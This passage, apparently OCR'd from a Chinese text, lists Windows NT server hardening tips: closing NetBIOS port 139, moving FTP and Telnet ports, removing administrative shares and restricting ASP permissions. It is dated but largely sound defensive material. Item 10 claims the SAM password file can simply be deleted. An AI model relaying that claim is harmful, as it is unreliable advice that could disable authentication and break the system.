( 5) 只开需要的服务, 屏蔽掉所有不应该打开的
端口, 如 NetBios端口 139,这是一个典型的危险
端口 。 怎样禁止这些端口? 除了使用防火墙外,
NT的 TCP/IP设置里面也提供了这种功能:打开控
制面板 → 网络 → 协议 → TCP/IP→ 属性 → 高级 → 启
用安全机制 → 配置, 这里面提供了 TCP和 UDP端
口的限制和 IP协议的限制功能 。
( 6) 管理员的帐号要设置得复杂一些, 建议加入
特殊字符 。
( 7) 把 FTP,Telnet的 TCP端口改为非标准端口,
例如设置到 10000~65000的范围 。
( 8)删除可以删除的所有共享,包括打印机共享
和隐藏的共享如 ICP$,Admin$等。
?IPC$,适用于远程管理计算机和查看共享资源,
在网上最好不要用;
?Admin$,实际上就是 c:\winnt,也没有必要共享 。
?C$,登录为 Admin和 Backup-operator的用户可以
用, \\计算机名 \C$”的方式访问 C盘 。 虽然仅限于
局域网, 但是远程黑客也有办法伪装成局域网的
登录用户, 所以都应该关掉 。
?Print$,这是放打印机驱动程序的目录, 与上面
的一样也是个很危险的入口 。
?Netlogon,这是处理域登录请求的共享 。 如果你
的机器为主域控制器, 域内有其它机器要登录进
来, 就不要删除它, 否则照样可以删除 。
要删除这些共享,可以用, 服务器管理
器, →, 共享目录, →, 停止共享, 可关闭这 些
共享。
( 9)将 ASP的目录集中管理,ASP的程序目录设置
详尽的访问权限,一般建议不要使用“读”权限。
( 10) 把 Winnt下的 sam文件改名 。 实践证明这个
可能泄露密码的文件可以删除不要 。
( 11) 对于已知的 NT安全漏洞, 都应该在自己的
机器上做测试检查, 并及时安装补丁程序 。